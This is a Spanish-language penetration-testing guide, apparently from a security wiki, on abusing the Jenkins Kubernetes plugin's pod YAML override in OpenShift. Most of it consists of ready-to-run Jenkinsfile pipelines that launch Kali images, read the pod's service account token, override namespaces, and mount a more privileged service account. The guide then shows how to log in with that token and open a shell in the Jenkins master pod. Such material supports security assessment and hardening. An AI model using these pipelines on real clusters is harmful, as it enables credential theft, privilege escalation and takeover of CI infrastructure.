OpenShift - Jenkins Build Pod Override

El autor original de esta página es Fares

Plugin de Kubernetes para Jenkins

Este plugin es principalmente responsable de las funciones principales de Jenkins dentro de un clúster de openshift/kubernetes. Documentación oficial aquí Ofrece algunas funcionalidades como la capacidad para que los desarrolladores anulen algunas configuraciones predeterminadas de un pod de construcción de Jenkins.

Funcionalidad principal

Este plugin permite flexibilidad a los desarrolladores al compilar su código en un entorno adecuado.

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}

Algunos abusos aprovechando la anulación de yaml del pod

Sin embargo, se puede abusar para usar cualquier imagen accesible como Kali Linux y ejecutar comandos arbitrarios utilizando herramientas preinstaladas de esa imagen. En el ejemplo a continuación, podemos exfiltrar el token de la cuenta de servicio del pod en ejecución.

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}

Un sintaxis diferente para lograr el mismo objetivo.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Ejemplo para anular el espacio de nombres del pod

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Otro ejemplo que intenta montar un serviceaccount (que puede tener más permisos que el predeterminado, ejecutando tu compilación) basado en su nombre. Es posible que necesites adivinar o enumerar primero los serviceaccounts existentes.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

La misma técnica se aplica para intentar montar un Secreto. El objetivo final aquí sería descubrir cómo configurar la compilación de su pod para pivotar o ganar privilegios de manera efectiva.

Yendo más allá

Una vez que te acostumbres a jugar con esto, utiliza tus conocimientos sobre Jenkins y Kubernetes/Openshift para encontrar configuraciones incorrectas / abusos.

Hazte las siguientes preguntas:

  • ¿Qué cuenta de servicio se está utilizando para implementar los pods de compilación?

  • ¿Qué roles y permisos tiene? ¿Puede leer secretos del espacio de nombres en el que me encuentro actualmente?

  • ¿Puedo enumerar otros pods de compilación?

  • Desde una sa comprometida, ¿puedo ejecutar comandos en el nodo/pod maestro?

  • ¿Puedo enumerar aún más el clúster para pivotar en otro lugar?

  • ¿Qué SCC se aplica?

Puedes averiguar qué comandos oc/kubectl emitir aquí y aquí.

Posibles escenarios de elevación de privilegios/pivoteo

Supongamos que durante tu evaluación descubriste que todas las compilaciones de Jenkins se ejecutan dentro de un espacio de nombres llamado worker-ns. Descubriste que una cuenta de servicio predeterminada llamada default-sa está montada en los pods de compilación, sin embargo, no tiene muchos permisos excepto acceso de lectura en algunos recursos, pero pudiste identificar una cuenta de servicio existente llamada master-sa. También supongamos que tienes el comando oc instalado dentro del contenedor de compilación en ejecución.

Con el siguiente script de compilación, puedes tomar el control de la cuenta de servicio master-sa y enumerar más a fondo.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}

Dependiendo de tu acceso, necesitarás continuar tu ataque desde el script de construcción o puedes iniciar sesión directamente como este sa en el clúster en ejecución:

oc login --token=$token --server=https://apiserver.com:port

Si este SA tiene suficientes permisos (como pod/exec), también puedes tomar el control de toda la instancia de jenkins ejecutando comandos dentro del pod del nodo maestro, si se está ejecutando dentro del mismo espacio de nombres. Puedes identificar fácilmente este pod por su nombre y por el hecho de que debe estar montando un PVC (reclamo de volumen persistente) utilizado para almacenar los datos de jenkins.

oc rsh pod_name -c container_name

En caso de que el pod del nodo maestro no se esté ejecutando dentro del mismo espacio de nombres que los workers, puedes intentar ataques similares apuntando al espacio de nombres del maestro. Vamos a asumir que se llama jenkins-master. Ten en cuenta que el serviceAccount master-sa necesita existir en el espacio de nombres jenkins-master (y puede que no exista en el espacio de nombres worker-ns).

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: jenkins-master
spec:
serviceAccount: master-sa
containers:
- name: evil-build
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Last updated